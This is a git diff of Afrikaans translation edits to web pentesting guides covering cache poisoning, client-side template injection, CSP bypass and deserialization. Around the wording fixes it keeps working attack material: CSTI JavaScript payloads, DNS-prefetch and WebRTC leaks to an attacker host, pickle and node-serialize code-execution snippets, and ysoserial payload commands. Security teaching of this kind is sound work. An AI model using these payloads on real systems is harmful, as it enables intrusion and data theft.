en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word. -```markup +Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, stel en `X-Forwarded-Scheme` na `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word. +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ### Exploiting with limited `Vary`header As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent: -```markup +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -164,7 +164,7 @@ Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde an ### GitLab + GCP CP-DoS -GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun. +GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te lewer. Dit kan ook die metode `PURGE` ondersteun. ### Rack Middleware (Ruby on Rails) @@ -180,7 +180,7 @@ Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbe ### User Agent Rules -Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring. +Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring. ### Illegal Header Fields @@ -194,7 +194,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**. -Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**. +Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** word om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**. Ander dinge om te toets: @@ -206,7 +206,7 @@ Ander dinge om te toets: - _Gebruik minder bekende uitbreidings soos_ `.avif` Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache-bediener gaan die resultaat stoor.\ +In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggestuur word en die cache-bediener gaan die resultaat stoor.\ Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem. Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **lêers** **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer). diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 1c23d7ec7..818149622 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -1,10 +1,10 @@ -# Klientkant Sjabloon Inspuiting (CSTI) +# Client Side Template Injection (CSTI) {{#include ../banners/hacktricks-training.md}} ## Samevatting -Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) maar in die **klient**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer. +Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) maar in die **klant**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer. **Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}` @@ -31,7 +31,7 @@ U kan 'n **kwesbare Vue** implementering vind in [https://vue-client-side-templa Werkende payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` @@ -49,7 +49,7 @@ Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/rese ``` Krediet: [Mario Heiderich](https://twitter.com/cure53berlin) -**Kyk na meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) +**Kyk meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 73638d334..62654e9ed 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste: -- `Content-Security-Policy`: Dwing die CSP af; die blaaiert blokkeer enige oortredings. +- `Content-Security-Policy`: Dwing die CSP af; die blaaiers blokkeer enige oortredings. - `Content-Security-Policy-Report-Only`: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings. ### Defining Resources @@ -53,9 +53,9 @@ object-src 'none'; - **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `` elemente. - **form-action**: Lys geldige eindpunte vir vormindienings. - **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep. -- **upgrade-insecure-requests**: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf. +- **upgrade-insecure-requests**: Gee opdrag aan blaaiers om HTTP-URL's na HTTPS te herskryf. - **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n ` ``` -In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\ +In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik om via **HTML inspuiting** 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\ CSP kan meer beperkend gemaak word deur **HTML meta-tags** te gebruik en inline skripte kan gedeaktiveer word deur die **invoer** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline skrip via sha** te aktiveer: ```html ` +Jy kan 'n blaier aanwys om 'n hostname vooraf op te los met: `` Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS versoeke te exfiltreer**: ```javascript @@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie. -Werklik kan jy _leak_ inligting gebruik maak van 'n _DNS versoek_. Kyk na hierdie kode: +Werklik kan jy _leak_ inligting gebruikmakend van 'n _DNS versoek_. Kyk na hierdie kode: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 57833e264..ebde94237 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -94,7 +94,7 @@ Jy kan 'n verduidelikende **PHP voorbeeld hier** lees: [https://www.notsosecure. ### PHP Deserial + Autoload Klassen -Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai: +Jy kan die PHP autoload funksionaliteit misbruik om arbitrêre php-lêers en meer te laai: {{#ref}} php-deserialization-+-autoload-classes.md @@ -119,11 +119,11 @@ $ser=serialize($o); [**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP deserialisasies te misbruik.\ Let daarop dat jy in verskeie gevalle **nie 'n manier sal kan vind om 'n deserialisasie in die bronnekode** van die toepassing te misbruik nie, maar jy mag dalk die **kode van eksterne PHP-uitbreidings kan misbruik.**\ -So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir 'n moontlike gadget wat jy kan misbruik. +So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir moontlike gadgets wat jy kan misbruik. ### phar:// metadata deserialisasie -As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\ +As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\ Vir meer inligting, lees die volgende pos: {{#ref}} @@ -134,7 +134,7 @@ Vir meer inligting, lees die volgende pos: ### **Pickle** -Wanneer die objek ontpikkel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\ +Wanneer die objek ontpiksel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\ Wanneer dit misbruik word, kan die bediener 'n fout teruggee. ```python import pickle, os, base64 @@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P()))) ``` Voordat jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik. -Vir meer inligting oor ontsnapping uit **pickle jails** kyk: +Vir meer inligting oor ontsnap uit **pickle jails** kyk: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -153,13 +153,13 @@ Vir meer inligting oor ontsnapping uit **pickle jails** kyk: ### Yaml **&** jsonpickle -Die volgende bladsy bied die tegniek om **'n onveilige deserialisering in yamls** python biblioteke te **misbruik** en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**: +Die volgende bladsy bied die tegniek aan om **'n onveilige deserialisering in yamls** python biblioteke te **misbruik** en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**: {{#ref}} python-yaml-deserialization.md {{#endref}} -### Klassie Pollusie (Python Prototype Pollusie) +### Klass Pollution (Python Prototype Pollution) {{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -167,12 +167,12 @@ python-yaml-deserialization.md ## NodeJS -### JS Magiese Funksies +### JS Magic Functions -JS **het nie "magiese" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\ -As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollusies misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word. +JS **het nie "magic" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\ +As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollutions misbruik) en jy kan willekeurige kode uitvoer wanneer hulle aangeroep word. -Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._ +Nog 'n **"magic" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer word** net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -206,7 +206,7 @@ nodejs-proto-prototype-pollution/ ### [node-serialize](https://www.npmjs.com/package/node-serialize) -Hierdie biblioteek stel jou in staat om funksies te serialiseer. Voorbeeld: +Hierdie biblioteek stel in staat om funksies te serialiseer. Voorbeeld: ```javascript var y = { rce: function () { @@ -234,8 +234,8 @@ Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval` funksie gebruik**. Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\ -In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar hakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\ -In die volgende stuk kode **let op die laaste hakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer: +In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar haakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\ +In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer: ```javascript var serialize = require("node-serialize") var test = { @@ -254,9 +254,9 @@ U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js ### [funcster](https://www.npmjs.com/package/funcster) -'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking verhoed die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word. +'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word. -Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hersteld word met die volgende snit: +Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit: ```javascript funcster = require("funcster") //Serialization @@ -288,7 +288,7 @@ function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit **maklik misbruik**: +As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit **moeiteloos misbruik**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -313,7 +313,7 @@ In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te m ## Java - HTTP -In Java, **word deserialisering terugroepe uitgevoer tydens die proses van deserialisering**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat lei tot potensiële uitvoering van skadelike aksies. +In Java, **word deserialisering terugroepe uitgevoer tydens die proses van deserialisering**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies. ### Vingerafdrukke @@ -335,55 +335,55 @@ Gee ekstra aandag aan: #### Swart Bok -Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java geserialiseerde voorwerpe aandui (wat afkomstig is van `ObjectInputStream`): +Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java-serialiseerde objekke aandui (wat afkomstig is van `ObjectInputStream`): - Heksadesimale patroon: `AC ED 00 05`. - Base64 patroon: `rO0`. - HTTP antwoordkoppe met `Content-type` gestel op `application/x-java-serialized-object`. - Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`. - Base64 patroon wat vorige kompressie aandui: `H4sIA`. -- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md). +- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [pos oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### Kontroleer of kwesbaar -As jy wil **leer hoe 'n Java Deserialized exploit werk**, moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). +As jy wil **leer hoe 'n Java Deserialized exploit werk** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). -#### Witdoos Toets +#### White Box Toets Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -U kan probeer om **al die biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of u kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\ -U kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\ -Wanneer u **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee vir die ton waarskuwings/foute wat dit ondergaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**. +Jy kan probeer om **alle biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of jy kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\ +Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\ +Wanneer jy **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**. #### Swartdoos toets -Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan u **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\ +Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan jy **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\ [**Lees dit om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe is gefokus op **`ObjectInputStream` deserializations**. -Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan u **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en dit **ontplof**.\ +Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan jy **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en hulle **ontplof**.\ [**Lees dit om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserializations. -U kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserializations** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisatie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.\ -[**U kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) +Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserializations** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisatie biblioteke. In aktiewe modus sal dit probeer om hulle te bevestig met behulp van slaap of DNS payloads.\ +[**Jy kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **Serialisering toets** -Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan u in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (miskien u admin regte binne 'n webapp te gee).\ -As u 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan u** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data u stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil. +Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (miskien jou admin regte binne 'n webapp te verleen).\ +As jy 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data jy stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil. ### **Ontploffing** #### **ysoserial** -Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). U kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat u in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).\ +Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou sal toelaat om komplekse opdragte (met pype byvoorbeeld) te gebruik.\ Let daarop dat hierdie gereedskap **gefokus** is op die ontploffing van **`ObjectInputStream`**.\ Ek sou **begin met die "URLDNS"** payload **voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag. ```bash @@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag deur **spasies** geskei te gee (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html). +Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag geskei deur **spasies** oor te dra (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html). Voel vry om die volgende skrip te gebruik om **alle moontlike kode-uitvoering** payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets: ```python @@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **slides van die praatjie** waar die hulpmiddel aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +Jy 